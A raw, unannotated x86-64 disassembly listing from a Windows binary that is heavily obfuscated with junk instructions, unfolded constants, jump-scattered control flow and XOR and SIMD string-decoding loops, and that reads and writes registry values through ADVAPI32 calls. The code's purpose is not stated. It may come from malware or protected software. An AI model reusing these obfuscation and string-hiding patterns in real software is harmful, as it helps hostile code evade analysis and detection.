mov r8d, ebx
mov dword [rsp + 0x70], eax
mov dword [rsp - 0x38], 0x3f88eb8e
movzx eax, word [0x140119b3c]
mov word [rsp + 0x74], ax
jmp 0x140027ace
imul edx, eax, 0x31
xchg rcx, rcx
add dl, cl
inc ecx
xor byte [r8 - 1], dl
cmp ecx, 0x57
mov dword [rsp - 0x30], 0x6e421d53
jmp 0x140027d9a
xchg r12, r12
test eax, eax
je 0x140027e4b
mov eax, dword [0x140119bb0]
xchg rdx, rdx
jmp 0x140026e55
paddb xmm2, xmm0
pxor xmm2, xmm1
xchg r14, r14
movd dword [rbp + 4], xmm2
jmp 0x140027f0c
jl 0x140027df2
xchg rcx, r10
mov r10, qword [rbp - 0x10]
jmp 0x14002704c
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
xchg rdi, rdi
movdqa xmm0, xmm2
jmp 0x140027196
xchg r11, r11
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
pxor xmm2, xmm0
jmp 0x140026abd
xor eax, 0x48a2fd0f
add eax, 0x5a939f9f
sub eax, 0x845c5c2
lea r9, [r9 + 1]
imul r8d
jmp 0x140027939
mov dword [rsp - 0x28], edx
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
xchg rsp, rsp
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
jmp 0x1400275c7
jge 0x1400272c1
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov dword [rsp - 0x3c], edx
jmp 0x140027de6
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
xchg rbx, rbx
jmp 0x140027381
jge 0x140026ea8
movsxd rax, r8d
lea r9, [rsp + 0x40]
xchg r12, r12
lea r9, [r9 + rax*2]
nop
jmp 0x140027d5b
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401193d0]
movd xmm1, dword [rbp + 4]
jmp 0x1400277eb
mov r15, r15
movups xmm0, xmmword [0x140119b80]
movups xmm1, xmmword [0x140119b90]
xchg rsp, rcx
movups xmmword [rcx + 0x40], xmm0
xchg rsp, rcx
jmp 0x1400276d7
xor dword [rbp - 8], 0x2001c7c7
xor dword [rbp - 8], 0x589f5b66
popf
xchg rbx, rsp
movsd qword [rbx + 0x50], xmm1
xchg rbx, rsp
mov dword [rsp + 0x58], eax
jmp 0x140027e5b
jl 0x14002736c
movdqa xmm5, xmmword [0x140119390]
lea rcx, [rsp + 0x40]
jmp 0x140026dfe
movd xmm5, r15d
shufps xmm1, xmm0, 0xdd
mov rsi, rsi
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
xchg r15, r15
jmp 0x14002759b
mov dword [rsp - 0x40], esi
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
mov dword [rsp - 0xc], edx
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
jmp 0x140027535
sub r8d, 0x56710834
pmuldq xmm1, xmm4
xchg rsp, rsp
jmp 0x14002710a
xor eax, 0x547f51e6
xor eax, 0x7309f391
xor eax, 0x481359d
sub eax, 0x296c5820
xor eax, 0x3973ca77
xor eax, 0x7f421b64
jmp 0x140027033
paddd xmm0, xmm1
pmulld xmm0, xmm7
xchg r8, r8
jmp 0x1400275b4
xchg r14, r14
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
mov rcx, rcx
jmp 0x140026fb2
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x14002796f
mov r15, r15
cmp dword [rbp - 8], 3
je 0x14002706d
jmp 0x14002796f
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
xchg r9, r9
punpckldq xmm1, xmm2
jmp 0x1400270e7
add edx, eax
xchg rdi, rdi
mov eax, 0x5751d808
add eax, 0x22da7bde
sub eax, 0x213ee235
sub eax, 0xdcb7710
xor eax, 0x6ecd40f7
jmp 0x140027b5a
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x140027711
mov r14, r14
jmp 0x140027249
lea rcx, [rsp + 0x40]
movdqa xmm4, xmmword [0x14011a4f0]
movdqa xmm7, xmmword [str.1111]
movdqa xmm9, xmmword [0x1401193c0]
mov rsp, rsp
movd xmm6, r14d
movd xmm8, r15d
jmp 0x140027d39
movd dword [rcx - 0xc], xmm2
xchg rbp, rbp
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
jmp 0x1400269f6
neg r8d
add r8d, 0xfffffff8
neg r8d
movdqa xmm1, xmm2
movdqa xmm0, xmm2
jmp 0x1400278c7
lea rdx, [rsp + 0x40]
xchg r13, r13
nop
movabs rcx, 0xffffffff6662a371
jmp 0x140027c74
sub eax, 0x150d7433
sub eax, 0x36d532c
add eax, 0x31db9fc7
xor eax, 0x59ff7e40
sub al, dl
movsx eax, al
jmp 0x14002726f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.1111]
psubd xmm2, xmm0
mov r14, r14
jmp 0x140027cdb
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
jmp 0x140027608
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
mov dword [rsp - 0x38], 0x1bb05207
pshufd xmm3, xmm1, 0xd8
jmp 0x140027840
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
mov dword [rsp - 0x44], 0x13b1f242
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
jmp 0x14002798f
movd xmm0, r8d
mov dword [rsp - 0x24], 0x1a76a30b
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401193d0]
packuswb xmm2, xmm2
xchg r15, r15
jmp 0x140027b0f
movsxd rax, r8d
lea r9, [rsp + 0x40]
xchg rdi, rdi
lea r9, [r9 + rax*2]
nop
jmp 0x140026e85
mov dword [rsp - 0x1c], ecx
mov dword [rbp + 8], r14d
xchg rsp, r14
movsd qword [r14 + 0x50], xmm1
jmp 0x140026a27
movdqa xmm0, xmmword [str.1111111111111111_t]
lea rcx, [rsp + 0x44]
movdqa xmm5, xmmword [0x140119390]
mov dword [rsp - 0x24], ebx
movdqa xmm4, xmmword [0x14011a4f0]
movdqa xmm7, xmmword [str.1111]
xchg rsp, rbx
jmp 0x140027230
shr eax, 7
shr eax, 1
add edx, eax
mov eax, 0x29fc8aa
sub eax, 0x4aabba
add eax, 0x2e08b7ca
jmp 0x140027c60
xor eax, 0x3156296b
xor eax, 0x57d5dbf4
add eax, 0x31a79142
jmp 0x1400272fc
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
mov dword [rsp - 0xc], 0x77b70204
movdqa xmm0, xmm2
jmp 0x1400274b7
movups xmm0, xmmword [0x140119ba0]
mov dword [rsp - 0x18], edi
xchg r8, rsp
movups xmmword [r8 + 0x50], xmm1
xchg rsp, r8
jmp 0x140026f7b
xchg rsp, r14
movups xmmword [r14 + 0x60], xmm0
xchg r14, rsp
movups xmm0, xmmword [0x140119c00]
xchg rsp, r9
movups xmmword [r9 + 0x50], xmm1
jmp 0x140027945
mov sil, 0x2f
sub sil, 0x11
add sil, 0x51
add sil, 1
sub sil, 0x48
add sil, 0x36
sub sil, 0x2f
jmp 0x140027bb7
jl 0x140027d4d
cmp r8d, 0x1b
mov dword [rsp - 0x30], 0x302fbaa3
jge 0x140027e39
jmp 0x14002762e
cmp r8d, 0x18
jl 0x140027c36
cmp r8d, 0x1c
jge 0x140026d53
mov dword [rsp - 0x3c], ecx
movsxd rax, r8d
lea r9, [rsp + 0x40]
jmp 0x140026cf6
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
jmp 0x14002747f
xor byte [r9 - 1], al
mov r9, r9
cmp r8d, 0x18
jl 0x1400269b8
jmp 0x140027bec
xchg rsi, rsi
movd xmm6, r14d
movd xmm8, r15d
nop dword [rax + rax]
mov dword [rsp - 0x18], ecx
movd xmm2, r8d
jmp 0x140026f59
mov dword [rsp - 0xc], ecx
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
jmp 0x140027928
xchg rsp, rsi
xchg rcx, rsp
movups xmmword [rcx + 0x60], xmm0
xchg rsp, rcx
cmp edi, 2
xchg rsi, rsi
jmp 0x1400273dc
mov dword [rsp - 0x40], esi
packuswb xmm2, xmm2
movd xmm0, eax
jmp 0x1400272a6
add eax, 0x1f3fcb5
xor eax, 0x4b731536
sub al, dl
movsx eax, al
imul ecx, eax, 0x31
mov dword [rsp - 0x10], edi
add cl, r8b
jmp 0x140026d13
xchg rsi, rsi
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
mov dword [rsp - 0x28], 0x22998009
psrld xmm0, xmm8
jmp 0x140027bcd
paddw xmm3, xmm2
pxor xmm3, xmm0
mov dword [rsp - 0x38], 0x2af1cd57
movq qword [rcx - 8], xmm3
cmp r8d, 0x18
jmp 0x140027731
sub eax, 0x120a0ce1
add eax, 0x3e188869
sub eax, 0x3f6d73e0
sub ax, dx
movzx eax, ax
mov dword [rsp - 0x20], 0x22678bfe
imul ecx, eax, 0x31
jmp 0x140027ba8
xor eax, 0xd78e635
lea r9, [r9 + 2]
imul r8d
jmp 0x140026e1f
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
mov rbx, rbx
movdqa xmm1, xmm3
jmp 0x140026afc
paddd xmm2, xmm5
xchg rbx, rbx
movd xmm3, eax
movdqa xmm1, xmm2
jmp 0x1400272cd
punpckhdq xmm0, xmm2
mov rdi, rdi
punpckldq xmm1, xmm2
jmp 0x140026f9f
sub eax, 0x41fd0176
add eax, 0xc084cc6
add eax, 0x7973675
sub eax, 0x7fc695e
jmp 0x140027a7d
movdqa xmm4, xmmword [0x14011a4f0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1401193a0]
movdqa xmm0, xmm2
xchg r11, r11
jmp 0x14002708c
add cx, r8w
inc r8d
xor word [r9 - 2], cx
mov r15, r15
cmp r8d, 0x1b
jmp 0x140027e33
xchg rsi, rsi
movdqa xmm0, xmm1
psrld xmm0, xmm8
jmp 0x14002746e
sar edx, 3
sar edx, 1
mov eax, edx
jmp 0x140027cc5
xchg r9, rsp
movups xmm1, xmmword [0x140119bf0]
mov dword [rsp - 0x30], 0x6c365221
mov word [rbp - 0x6c], ax
movzx eax, byte [0x140119c16]
xchg r9, rbp
movups xmmword [r9 - 0x80], xmm0
jmp 0x140026ffc
cmp byte [0x140119b7b], bl
mov dword [rsp - 0x44], 0x72273389
movups xmm0, xmmword [str.wWR__DRkNOUSYL]
mov eax, dword [str._9_L]
jmp 0x140026fdd
pshufd xmm3, xmm1, 0xd8
mov dword [rsp - 0x1c], ebx
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xchg r10, r10
pxor xmm3, xmm0
jmp 0x1400276b9
movd xmm8, r15d
nop
movd xmm2, r8d
mov rsi, rsi
lea eax, [r8 + 4]
jmp 0x140027179
lea rdx, [rsp + 0x40]
xchg rdx, rdx
lea rax, [rbp - 8]
xor r9d, r9d
xor r8d, r8d
xchg rdx, rdx
mov qword [rsp + 0x20], rax
jmp 0x140027497
mov rdx, rdx
lea rdx, [rsp + 0x44]
movdqa xmm5, xmmword [0x140119390]
movdqa xmm4, xmmword [0x14011a4f0]
jmp 0x140026edc
movd dword [rcx - 0xc], xmm2
mov dword [rsp - 0x3c], 0x32a1e607
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
jmp 0x140026ba9
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
mov rcx, rcx
jmp 0x140026b4b
mul r8d
shr edx, 1
shr edx, 2
jmp 0x140027a3c
shr edx, 1
movsx eax, dl
imul ecx, eax, 0x31
jmp 0x140027e7a
sar edx, 1
mov eax, edx
mov dword [rsp - 0x2c], 0x332c91c9
jmp 0x140027020
mov r14, r14
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
jmp 0x140026bfe
mov r14, r14
mov dword [rbp - 0x70], eax
movzx eax, word [0x140119c14]
jmp 0x1400276f2
add eax, 0x18dd041d
lea r9, [r9 + 1]
imul r8d
xchg r14, r14
sar edx, 1
sar edx, 2
sar edx, 1
jmp 0x140027dd9
movdqa xmm7, xmmword [str.1111]
xchg rsp, r14
movdqa xmmword [r14 + 0x30], xmm0
xchg rsp, r14
mov edx, dword [rsp + 0x30]
jmp 0x140026ef8
mov qword [rbp], rax
mov rbp, rbp
mov dword [rbp - 8], ebx
mov dword [rbp + 8], r14d
je 0x140027f0c
jmp 0x140026a70
movups xmm0, xmmword [0x140119b08]
movups xmm1, xmmword [0x140119b18]
mov dword [rsp - 0x28], ebp
jmp 0x140026e6d
mov dword [rsp - 0x40], 0x44be409f
pand xmm2, xmmword [0x1401193d0]
movd xmm1, dword [rbp]
packuswb xmm2, xmm2
movd xmm0, eax
mov dword [rsp - 0x10], esi
paddb xmm2, xmm0
jmp 0x140026d2b
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
pxor xmm2, xmm0
jmp 0x140027dc4
xchg rdx, rdx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401193d0]
packuswb xmm2, xmm2
mov dword [rsp - 0x1c], 0x35e253b2
paddb xmm2, xmm0
jmp 0x140027a1e
xor eax, 0x24f2b589
add eax, 0x25d7b282
add eax, 0x1e6b3729
jmp 0x140027883
sub eax, 0x25ecba55
sub ax, dx
movzx eax, ax
mov dword [rsp - 0xc], 0x156a875c
imul ecx, eax, 0x31
jmp 0x140027910
movd xmm0, edx
mov dword [rsp - 0x44], 0x4dca5dd0
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
jmp 0x140027dfc
pshufd xmm2, xmm2, 0
mov rsp, rsp
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
jmp 0x14002754e
add cx, r8w
inc r8d
mov r10, r10
jmp 0x140026e99
xor sil, 0x2d
sub sil, 1
cmp byte [0x140119b5b], bl
xchg r9, r9
jmp 0x140027eb7
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
mov dword [rsp - 0x44], 0x3af0dd86
pshuflw xmm0, xmm2, 0xd8
jmp 0x140027773
mov rcx, qword [rbp - 0x10]
lea rax, [rbp]
mov dword [rsp - 0xc], edx
mov dword [rsp + 0x28], r14d
lea rdx, [rsp + 0x40]
mov r9d, r14d
xchg r11, r11
jmp 0x140027c4c
mov dword [rsp - 0x20], esi
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
xchg rbx, rbx
jmp 0x140027894
nop dword [rax]
xchg r8, r8
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
xchg r11, r11
pshufd xmm2, xmm2, 0
jmp 0x1400271d3
xchg r13, rax
mov qword [rsp + 0x20], r13
xchg r13, rax
xor r8d, r8d
xchg rdx, rdx
jmp 0x1400274ef
add eax, 0x4f055d97
sub eax, 0x45cad3a3
xor eax, 0x1f32f3bb
jmp 0x140026b66
xor rcx, 0x25445555
sub rcx, 0x26007b70
add rcx, 0x18c88d4a
add rcx, 0x1640d50f
xor rcx, 0x1a96d91b
add rcx, 0x276fac68
add rcx, 0x7fffffff
jmp 0x140027e8d
pmulld xmm0, xmm7
psubd xmm3, xmm0
mov dword [rsp - 0x40], 0x36d8f0cb
pshuflw xmm0, xmm3, 0xd8
jmp 0x140026c9f
mov rsp, rsp
shr eax, 0xb
shr eax, 5
shr eax, 0xb
shr eax, 3
shr eax, 1
jmp 0x140027212
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
jmp 0x140027ae5
mov dword [rsp - 0x30], esp
mov eax, 0x15b8acd4
xor eax, 0x3c03ab36
add eax, 0xd886777
add eax, 0x13c4e697
add eax, 0x2b5edbef
sub eax, 0x7a6180b
jmp 0x1400269e6
jl 0x140026d9b
cmp ecx, 0x57
mov dword [rsp - 0x24], ebx
jge 0x140027da0
movsxd rax, ecx
lea r8, [rsp + 0x40]
xchg rdx, rdx
jmp 0x1400270b2
nop dword [rax]
mov dword [rsp - 0x18], 0x58f879a0
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
jmp 0x140027b93
mov eax, 0x62efb219
sub eax, 0x214c4ebe
sub eax, 0x1ce73759
add eax, 0x19a2a372
jmp 0x140027b46
sub r9d, 0x2a107ecb
xor r9d, 0x3999b11d
xor r9d, 0x1c130f3e
xor r8d, r8d
xchg rdi, rax
mov qword [rsp + 0x20], rdi
xchg rdi, rax
jmp 0x140027565
jl 0x140027cf3
lea rax, [rbp - 0x10]
mov r9d, 0x105ea045
add r9d, 0x4baf3f8
add r9d, 0x20c91539
add r9d, 0x19b39371
jmp 0x140027d74
movd dword [rdx - 8], xmm2
mov dword [rsp - 0x1c], 0x4b439a4a
cmp ecx, 0x50
jmp 0x140027d16
mov eax, edx
shr eax, 0x15
shr eax, 2
jmp 0x14002768a
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x7ec03612
jmp 0x1400276a5
xchg rbx, rbx
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
jmp 0x140027a04
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
xchg r13, r13
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
jmp 0x1400271e4
jl 0x140026e85
lea rcx, [rsp + 0x40]
call fcn.1400ae360
mov dword [rsp - 0x30], 0x4a6d2088
mov sil, 0x78
xor sil, 0x56
add sil, 0xd
jmp 0x140026fcc
je 0x140026d53
mov dword [rsp - 0x3c], 0x35cc3a8f
mov r8d, ebx
cmp edi, 2
jl 0x140027766
jmp 0x140027147
movzx eax, r8b
xchg rsp, rsp
inc r8d
sub al, cl
add al, 0x31
jmp 0x140027787
sub rcx, 0x7e28b07b
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140028885
mov r14, r14
cmp byte [0x140119c1f], bl
mov rax, qword [str.tRVYSS8tRVYSS8w]
jmp 0x140027ab5
movups xmm0, xmmword [0x140119b40]
mov eax, dword [0x140119b58]
movsd xmm1, qword [0x140119b50]
xchg rdx, rsp
movups xmmword [rdx + 0x40], xmm0
xchg rdx, rsp
mov dword [rbp - 8], ebx
jmp 0x140027643
lea r9, [rbp]
nop dword [rax + rax]
mov eax, 0x65a14ac7
sub eax, 0x181e8502
add eax, 0x30608f0f
jmp 0x14002806a
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x140027ee7
mov r15, r15
xchg rbx, rcx
jmp 0x140027f4e
mov dword [rbp - 8], ebx
je 0x140028339
mov r8d, ebx
mov dword [rsp - 0x10], 0x771cedee
jmp 0x140027fa6
mov dword [rsp - 0x14], 0xb8ffcaa
movd xmm0, eax
paddb xmm2, xmm0
pxor xmm2, xmm1
movd dword [rbp + 4], xmm2
mov rsi, rsi
jmp 0x140028339
mov rbx, qword [rbp - 0x10]
xchg rcx, rbx
lea rax, [rbp + 8]
xchg r12, rax
mov qword [rsp + 0x28], r12
xchg r12, rax
lea rdx, [rbp]
jmp 0x140027fe8
movd xmm5, r15d
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
mov r15, r15
movdqa xmm0, xmm1
psrld xmm0, xmm5
jmp 0x140028102
imul ecx, eax, 0x31
mov rcx, rcx
movzx eax, r8b
inc r8d
sub al, cl
sub al, 0xcf
mov dword [rsp - 0x30], 0x6c813da
jmp 0x140027efb
cmp edi, 2
jl 0x14002818f
movdqa xmm2, xmmword [0x140119390]
mov dword [rsp - 0xc], 0x34d42598
movdqa xmm4, xmmword [0x14011a4f0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1401193a0]
jmp 0x140028013
test eax, eax
jne 0x140028176
cmp dword [rbp - 8], ebx
jmp 0x14002816d
mov rbx, rbx
lea rax, [rbp - 8]
xor r9d, r9d
jmp 0x14002808f
psrad xmm1, xmm6
mov rsp, rsp
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
mov dword [rsp - 0x44], esp
jmp 0x1400280c3
mov dword [rsp - 0x2c], 0x47286ff4
movdqa xmm0, xmm2
mov eax, dword [str.1111111111111111_t]
punpckhdq xmm0, xmm2
mov dword [rsp - 0x44], 0x7c14a0ea
punpckldq xmm1, xmm2
jmp 0x140028144
mov r15, r15
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401193d0]
movd xmm1, dword [rbp + 4]
packuswb xmm2, xmm2
jmp 0x140027f2d
mul r8d
shr edx, 1
shr edx, 1
shr edx, 2
movsx eax, dl
jmp 0x140027f88
xor eax, 0x1d799d78
add eax, 0x61f04e6
xor eax, 0x613ff2ee
add eax, 0x68b6bb3
add eax, 0x4585da6e
lea r9, [r9 + 1]
xchg r13, r13
jmp 0x140028058
xor r8d, r8d
xchg rdx, rdx
xchg r13, rax
mov qword [rsp + 0x20], r13
xchg r13, rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
xchg r15, r15
jmp 0x140027fd8
mov dword [rsp - 0x18], ebx
movd dword [rbp], xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
jmp 0x140027ff7
pmulld xmm0, xmmword [str.1111]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
jmp 0x14002803a
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
mov r11, r11
pand xmm2, xmmword [0x1401193d0]
movd xmm1, dword [rbp]
packuswb xmm2, xmm2
jmp 0x140028120
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.1111]
mov r13, r13
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
jmp 0x1400280df
movd xmm0, eax
mov dword [rsp - 0x24], 0x2c7448f
paddb xmm2, xmm0
movdqa xmm0, xmm3
pxor xmm2, xmm1
mov rbp, rbp
punpckhdq xmm0, xmm3
jmp 0x14002815b
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
mov rsp, rsp
movd xmm6, r14d
jmp 0x140027f6b
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
jmp 0x1400280ac
mov r10, r10
je 0x14002887b
cmp byte [0x140119c27], bl
mov rax, qword [0x140119c20]
xchg r9, r9
mov qword [rbp], rax
jmp 0x140027f14
lea r9, [rbp]
mov dword [rsp - 0xc], 0x7e3f8b24
nop dword [rax]
jmp 0x14002863a
jl 0x1400283c6
xchg r12, r12
lea rcx, [rsp + 0x40]
jmp 0x14002879a
xchg rbp, rbp
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
jmp 0x140028dd9
mov r11, rsp
xchg r11, rsp
nop
add rsp, 8
mov r15, qword [rsp - 8]
jmp 0x1400287ec
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
mov dword [rsp - 0x24], 0x3a2cce87
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
jmp 0x1400281ba
xchg rbx, rbx
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
mov dword [rsp - 0x20], edx
jmp 0x14002891c
paddd xmm2, xmm5
xchg r15, r15
movd xmm3, eax
movdqa xmm1, xmm2
jmp 0x140028ce0
add edx, eax
mov dword [rsp - 0x2c], 0x58fc497e
mov eax, 0x42b1dd93
add eax, 0x2dd63862
sub eax, 0x5cb6781f
xor eax, 0x64fb3be2
xor eax, 0x7405dc6
jmp 0x140028e18
mov r8d, ebx
mov dword [rsp + 0x70], eax
mov dword [rsp - 0x18], edi
movzx eax, byte [0x140119c94]
mov byte [rsp + 0x74], al
movups xmm0, xmmword [str.U__YeSO_]
movups xmm1, xmmword [0x140119c70]
jmp 0x1400291bc
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
mov dword [rsp - 0x24], esp
jmp 0x140028492
mov dword [rsp - 0x3c], ecx
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
jmp 0x140028f97
xchg r10, r10
movq qword [rcx - 8], xmm3
cmp r8d, 0x18
jl 0x140028c8a
jmp 0x140028b16
movsx eax, al
imul ecx, eax, 0x31
add cl, bl
mov dword [rsp - 0x44], 0xc3d2665
inc ebx
xor byte [r8 - 1], cl
jmp 0x140028a9a
movups xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [0x140119c48]
mov dword [rsp - 0x14], 0x1dec10f
xchg rbx, rsp
movups xmmword [rbx + 0x50], xmm1
xchg rsp, rbx
xchg rcx, rsp
jmp 0x140028392
lea r9, [r9 + 1]
mov dword [rsp - 0x34], 0x411e1132
imul r8d
sar edx, 4
mov eax, edx
mov dword [rsp - 0x20], esi
shr eax, 9
jmp 0x140028fcc
mov dword [rsp - 0x1c], 0x344894c8
cmp r8d, 8
jl 0x14002863a
xchg rcx, rbx
jmp 0x1400290dd
xchg r15, r15
cmp ebx, 0xa8
jl 0x140028f2f
cmp ebx, 0xad
jmp 0x140028bf5
movups xmmword [rbp - 0x70], xmm1
xchg rdx, rbp
movups xmm1, xmmword [rcx + 0x30]
mov dword [rsp - 0x30], 0x40e81001
jmp 0x14002885b
mov dword [rsp - 0x1c], edx
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
mov dword [rsp - 0x28], ebx
pshufd xmm2, xmm2, 0
jmp 0x140028ccf
movups xmmword [rcx + 0x60], xmm0
xchg rsp, rcx
cmp edi, 2
jmp 0x140028e70
movups xmm1, xmmword [rbp + 0x80]
xchg rcx, rbp
xchg r15, rdx
movups xmmword [r15 - 0x20], xmm0
xchg r15, rdx
xchg rcx, r8
jmp 0x140028ed0
nop dword [rax + rax]
mov eax, 0x271c9931
xor eax, 0x4ac80ea5
sub eax, 0x3ab1ea5e
add eax, 0x471808ab
xor eax, 0xe3f335d
sub eax, 0x206e041f
jmp 0x140028307
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
mov r13, r13
pmulld xmm0, xmm7
psubd xmm3, xmm0
jmp 0x140028ca9
neg r8d
add r8d, 0xfffffff8
neg r8d
movdqa xmm1, xmm2
jmp 0x140028bdd
shufps xmm1, xmm0, 0xdd
mov dword [rsp - 0x2c], 0x4e2fff9a
psrad xmm1, xmm6
jmp 0x1400283e9
jl 0x140028a44
mov r12, r12
movdqa xmm0, xmmword [str.1111111111111111_t]
jmp 0x14002888d
xchg r12, r11
xchg r10, r11
movaps xmm7, xmmword [r10 - 0x20]
xchg r10, r11
xchg r11, rsi
jmp 0x140028b8f
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
xchg r15, r15
pmuldq xmm0, xmm4
jmp 0x140028a22
paddb xmm2, xmm0
mov dword [rsp - 0x3c], ecx
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
jmp 0x140028206
pand xmm2, xmmword [0x1401193d0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
xchg r13, r13
pmuldq xmm1, xmm4
movd xmm0, edx
jmp 0x140028474
xchg rcx, r10
movups xmm0, xmmword [r10]
xchg r10, rcx
xchg r13, rcx
movups xmm1, xmmword [r13 + 0x10]
jmp 0x140029148
packuswb xmm2, xmm2
paddb xmm2, xmm0
xchg rbp, rbp
jmp 0x140028ae9
mov r14, r14
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
xchg r13, r13
jmp 0x140028285
paddd xmm0, xmm1
mov dword [rsp - 0x14], 0x1bd3e6a6
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
mov r11, r11
jmp 0x1400290bf
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
pxor xmm3, xmm0
jmp 0x1400282af
xchg r9, r9
movzx eax, byte [rcx + 0xac]
mov byte [rdx + 0x2c], al
cmp edi, 2
mov dword [rsp - 0x18], 0xe096fc
jl 0x140028bfe
jmp 0x1400286c7
nop dword [rax]
xchg rbp, rbp
nop dword [rax + rax]
jmp 0x140028f2f
sub eax, 0x33882967
xor eax, 0x5234fe35
sub eax, 0x1526ab29
add eax, 0x2f87595d
jmp 0x14002870b
lea r8, [rsp + 0x40]
add r8, rax
mov dword [rsp - 0x3c], 0x225de4f7
nop word [rax + rax]
jmp 0x140028c23
lea rcx, [rsp + 0x40]
call fcn.1400ae360
mov sil, 0xa
add sil, 0x36
add sil, 0xf
xor sil, 0x77
jmp 0x1400291e6
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.1400e9e80
jmp 0x14002896a
sub al, cl
neg al
add al, 0xcf
neg al
xor byte [r9 - 1], al
jmp 0x140028327
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
mov dword [rsp - 0x38], 0x56c0b31c
paddd xmm0, xmm1
pmulld xmm0, xmm7
jmp 0x140028726
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
mov dword [rsp - 0x14], 0x7d109adb
jmp 0x14002851e
pmuldq xmm0, xmm4
